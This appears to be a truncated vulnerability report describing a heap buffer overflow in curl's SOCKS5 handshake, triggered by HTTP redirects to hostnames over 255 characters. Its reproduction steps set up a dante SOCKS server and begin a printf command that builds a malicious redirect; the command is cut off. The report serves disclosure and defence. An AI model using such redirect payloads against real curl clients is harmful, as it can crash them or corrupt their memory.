SOCKS5 Heap Buffer Overflow via Malicious HTTP Redirect with Oversized Hostname

Summary: A heap-based buffer overflow vulnerability exists in curl's SOCKS5 proxy handshake implementation when processing HTTP redirects containing hostnames exceeding 255 characters. When curl is configured to use SOCKS5 with hostname resolution (socks5h:// scheme) and follows an HTTP redirect to …

   sudo apt-get install -y dante-server
   # Configure danted to listen on port 1080 without authentication
   sudo systemctl start danted
Create malicious HTTP server that returns redirect with oversized hostname:
Bash
printf "HTTP/1.1 301 Moved Permanently\r\nLocation: http:///$(printf 'A%.0s' …